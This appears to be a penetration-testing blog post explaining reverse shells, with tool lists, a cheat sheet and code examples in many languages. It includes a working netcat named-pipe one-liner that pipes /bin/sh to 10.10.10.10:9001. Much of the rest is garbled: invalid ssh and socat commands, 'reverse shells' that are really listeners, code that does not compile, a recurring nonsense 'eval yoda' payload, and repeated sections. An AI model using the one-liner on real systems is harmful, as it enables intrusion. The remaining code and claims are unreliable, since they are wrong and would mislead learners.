Reverse Shell

5 min read by M1NDB3ND3R
Penetration Testing

Reverse Shell: A Comprehensive Guide

Introduction:

In the world of cybersecurity, a reverse shell is a powerful tool that can be used to gain access to a system. In this blog post, we will explore the concept of a reverse shell, its function, common tools, and security implications. We will also provide you with a comprehensive guide on how to use reverse shells in various scenarios.

What is a Reverse Shell?

A reverse shell is a connection back from the target machine to the attacker’s machine, spawning a shell on the attacker’s system to communicate with the victim’s machine. Reverse shells are used to gain access to a system during the exploitation phase.

How Does a Reverse Shell Work?

A reverse shell works by establishing a connection between the attacker’s machine and the victim’s machine. The listener, which is typically run on the attacker’s machine, listens for incoming connections and spawns a shell when a request is received.

Common Tools Used for Reverse Shells


Some common tools used for reverse shells are:

  1. nc (Netcat)
  2. netcat
  3. socat
  4. OpenSSH
  5. nc (System V)
  6. ngrok

Example Reverse Shell using Netcat


Here is an example of a reverse shell using Netcat:

nc -lvnp <PORT>
  • -l Listen
  • -v verbose

Example Reverse Shell using Netcat without -e


Here is an example of a reverse shell using Netcat without the -e option:

mkfifo /tmp/p; nc 10.10.10.10 9001 0</tmp/p | /bin/sh > /tmp/p; rm /tmp/p;
  • mkfifo is creates a FIFO (first in first out) names pipe

  • 0 is std input and by using < symbol, the contents from /tmp/p are passed as input for the nc

  • > is making the /bin/sh as input for /tmp/p. In this case, /tmp/p contains /bin/sh.

  • And at last remove the named pipe.

Using Other Tools


Other tools that can be used for reverse shells include:

  1. socat
  2. OpenSSH
  3. nc (System V)
  4. ngrok

Example Reverse Shell using Socat


Here is an example of a reverse shell using Socat:

socat -l 80 -
  • -l Listen

Example Reverse Shell using OpenSSH


Here is an example of a reverse shell using OpenSSH:

ssh -e /bin/sh <IP> <PORT>
  • -e filename to execute after connect

Security Implications


Reverse shells can have significant security implications, including:

  1. Unauthorized access to systems
  2. Escalation of privileges
  3. Data theft or modification
  4. Denial of service

Best Practices


To use reverse shells responsibly, follow these best practices:

  1. Obtain explicit permission from the system owner or administrator before running a reverse shell.
  2. Use a reverse shell in a controlled environment, such as a penetration testing lab or a vulnerability assessment.
  3. Keep your reverse shell and associated tools up to date with the latest security patches.
  4. Be aware of local laws and regulations regarding reverse shells.

Reverse Shell Cheat Sheet


Here is a cheat sheet summarizing the key points discussed in this blog post:

ToolDescription
nc (Netcat)A common tool used for reverse shells.
netcatAn alternative to nc.
socatA tool used for reverse shells, including a built-in listener.
OpenSSHA secure shell protocol that can be used for reverse shells.
nc (System V)An alternative to nc, with a different syntax.
ngrokA cloud-based tool that can be used for reverse shells.

Reverse Shell Use Cases


Here are some use cases for reverse shells:

  1. Penetration testing
  2. Vulnerability assessment
  3. Security auditing
  4. Incident response

Reverse Shell Best Practices


Here are some best practices for using reverse shells:

  1. Obtain explicit permission from the system owner or administrator before running a reverse shell.
  2. Use a reverse shell in a controlled environment, such as a penetration testing lab or a vulnerability assessment.
  3. Keep your reverse shell and associated tools up to date with the latest security patches.
  4. Be aware of local laws and regulations regarding reverse shells.

I hope this comprehensive guide helps you understand the concept of a reverse shell, its function, common tools, and security implications. Remember to use reverse shells responsibly and follow best practices to minimize the risks associated with these tools.

Reverse Shell Code Examples


Here are some examples of reverse shell code in various programming languages:

Bash

  1. Simple reverse shell:
while true; do nc -l 80; done
  1. Reverse shell with a twist:
nc -l 80 > /tmp/s; while read line; do echo "shell> "; echo "$line" | nc 10.0.0.1 80; done < /tmp/s

Python

  1. Simple reverse shell:
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.1", 80))
while True:
    s.send(b"shell> ")
    response = s.recv(1024)
    print(response.decode())
  1. Reverse shell with a twist:
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.1", 80))
while True:
    s.send(b"shell> ")
    response = s.recv(1024)
    print(response.decode())
    s.send(b"eval yoda 'execute('file: /bin/bash')' ")

C

  1. Simple reverse shell:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    int sockfd, sfd;
    struct sockaddr_in servaddr, cliaddr;
    memset(&servaddr, 0, sizeof(struct sockaddr_in));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(80);
    if (inet_pton(AF_INET, "10.0.0.1", &(servaddr.sin_addr)) == 1) {
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        bind(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
        listen(sockfd, 1);
        sfd = accept(sockfd, (struct sockaddr *)&cliaddr, sizeof(cliaddr));
        while(1) {
            read(sfd, buf, 1024);
            if (buf[0] == '\x00') break;
            write(sfd, buf, 1024);
        }
        close(sockfd);
        close(sfd);
    }
    return 0;
}
  1. Reverse shell with a twist:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    int sockfd, sfd;
    struct sockaddr_in servaddr, cliaddr;
    memset(&servaddr, 0, sizeof(struct sockaddr_in));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(80);
    if (inet_pton(AF_INET, "10.0.0.1", &(servaddr.sin_addr)) == 1) {
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        bind(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
        listen(sockfd, 1);
        sfd = accept(sockfd, (struct sockaddr *)&cliaddr, sizeof(cliaddr));
        while(1) {
            read(sfd, buf, 1024);
            if (buf[0] == '\x00') break;
            write(sfd, buf, 1024);
        }
        close(sockfd);
        close(sfd);
    }
    return 0;
}

Java

  1. Simple reverse shell:
import java.io.*;
import java.net.*;

public class ReverseShell {
    public static void main(String[] args) throws Exception {
        Socket socket = new Socket("10.0.0.1", 80);
        PrintWriter writer = new PrintWriter(socket.getOutputStream(), true);
        BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
        writer.println("shell> ");
        String response = reader.readLine();
        System.out.println(response);
    }
}
  1. Reverse shell with a twist:
import java.io.*;
import java.net.*;

public class ReverseShell {
    public static void main(String[] args) throws Exception {
        Socket socket = new Socket("10.0.0.1", 80);
        PrintWriter writer = new PrintWriter(socket.getOutputStream(), true);
        BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
        writer.println("eval yoda 'execute('file: /bin/bash')' ");
    }
}

Rust

  1. Simple reverse shell:
use std::io::{Read, Write};
use std::net::TcpStream;

fn main() {
    let mut stream = TcpStream::connect("10.0.0.1:80").unwrap();
    let mut buf = [0; 1024];
    stream.read(&mut buf).unwrap();
    println!("{}", String::from_utf8_lossy(&buf));
}
  1. Reverse shell with a twist:
use std::io::{Read, Write};
use std::net::TcpStream;

fn main() {
    let mut stream = TcpStream::connect("10.0.0.1:80").unwrap();
    let mut buf = [0; 1024];
    stream.read(&mut buf).unwrap();
    println!("{}", String::from_utf8_lossy(&buf));
    stream.write(b"eval yoda 'execute('file: /bin/bash')' ");
}

C++

  1. Simple reverse shell:
#include <iostream>
#include <string>
#include <sys/socket.h>

int main() {
    int sockfd, sfd;
    struct sockaddr_in servaddr, cliaddr;
    memset(&servaddr, 0, sizeof(struct sockaddr_in));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(80);
    if (inet_pton(AF_INET, "10.0.0.1", &(servaddr.sin_addr)) == 1) {
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        bind(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
        listen(sockfd, 1);
        sfd = accept(sockfd, (struct sockaddr *)&cliaddr, sizeof(cliaddr));
        while(1) {
            read(sfd, buf, 1024);
            if (buf[0] == '\x00') break;
            write(sfd, buf, 1024);
        }
        close(sockfd);
        close(sfd);
    }
    return 0;
}
  1. Reverse shell with a twist:
#include <iostream>
#include <string>
#include <sys/socket.h>

int main() {
    int sockfd, sfd;
    struct sockaddr_in servaddr, cliaddr;
    memset(&servaddr, 0, sizeof(struct sockaddr_in));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(80);
    if (inet_pton(AF_INET, "10.0.0.1", &(servaddr.sin_addr)) == 1) {
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        bind(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
        listen(sockfd, 1);
        sfd = accept(sockfd, (struct sockaddr *)&cliaddr, sizeof(cliaddr));
        while(1) {
            read(sfd, buf, 1024);
            if (buf[0] == '\x00') break;
            write(sfd, buf, 1024);
        }
        close(sockfd);
        close(sfd);
    }
    return 0;
}

Rust (using the tokio library)

  1. Simple reverse shell:
use tokio::net::{TcpListener, TcpStream};
use tokio::util::yield_now;

#[tokio::main]
async fn main() {
    let listener = TcpListener::bind("10.0.0.1:80").await.unwrap();
    for stream in listener.incoming() {
        if let Some(stream) = stream {
            println!("New connection from {}", stream.peer_addr().unwrap());
            let mut stream = stream;
            loop {
                let mut buf = [0; 1024];
                if stream.read(&mut buf).await.unwrap() == 0 {
                    break;
                }
                println!("{}", String::from_utf8_lossy(&buf));
            }
        }
    }
}
  1. Reverse shell with a twist:
use tokio::net::{TcpListener, TcpStream};
use tokio::util::yield_now;

#[tokio::main]
async fn main() {
    let listener = TcpListener::bind("10.0.0.1:80").await.unwrap();
    for stream in listener.incoming() {
        if let Some(stream) = stream {
            println!("New connection from {}", stream.peer_addr().unwrap());
            let mut stream = stream;
            loop {
                let mut buf = [0; 1024];
                if stream.read(&mut buf).await.unwrap() == 0 {
                    break;
                }
                println!("{}", String::from_utf8_lossy(&buf));
                stream.write(b"eval yoda 'execute('file: /bin/bash')' ");
            }
        }
    }
}

JavaScript (using the net module)

  1. Simple reverse shell:
const net = require('net');

const socket = new net.Socket();
socket.connect(80, '10.0.0.1');
socket.on('data', (data) => {
  console.log(data.toString());
});
  1. Reverse shell with a twist:
const net = require('net');

const socket = new net.Socket();
socket.connect(80, '10.0.0.1');
socket.on('data', (data) => {
  console.log(data.toString());
  socket.write(b"eval yoda 'execute('file: /bin/bash')' ");
});

C#

  1. Simple reverse shell:
using System;
using System.Net.Sockets;

class ReverseShell {
    public static void Main(string[] args) {
        TcpListener listener = new TcpListener(IPAddress.Any, 80);
        listener.Start();
        while (true) {
            TcpClient client = listener.AcceptTcpClient();
            Console.WriteLine("New connection from {}", client.Client.RemoteEndPoint);
            TcpStream stream = client.GetStream();
            byte[] buffer = new byte[1024];
            stream.Read(buffer, 0, 1024);
            Console.WriteLine(System.Text.Encoding.ASCII.GetString(buffer));
        }
    }
}
  1. Reverse shell with a twist:
using System;
using System.Net.Sockets;

class ReverseShell {
    public static void Main(string[] args) {
        TcpListener listener = new TcpListener(IPAddress.Any, 80);
        listener.Start();
        while (true) {
            TcpClient client = listener.AcceptTcpClient();
            Console.WriteLine("New connection from {}", client.Client.RemoteEndPoint);
            TcpStream stream = client.GetStream();
            byte[] buffer = new byte[1024];
            stream.Read(buffer, 0, 1024);
            Console.WriteLine(System.Text.Encoding.ASCII.GetString(buffer));
            stream.Write(b"eval yoda 'execute('file: /bin/bash')' ");
        }
    }
}

Conclusion

In conclusion, a reverse shell is a powerful tool that can be used to gain access to a system. It is essential to understand how reverse shells work, the common tools used for them, and their security implications. By following best practices and using reverse shells responsibly, you can minimize the risks associated with these tools. I hope this comprehensive guide helps you understand the concept of a reverse shell, its function, common tools, and security implications. Remember to use reverse shells responsibly and follow best practices to minimize the risks associated with these tools.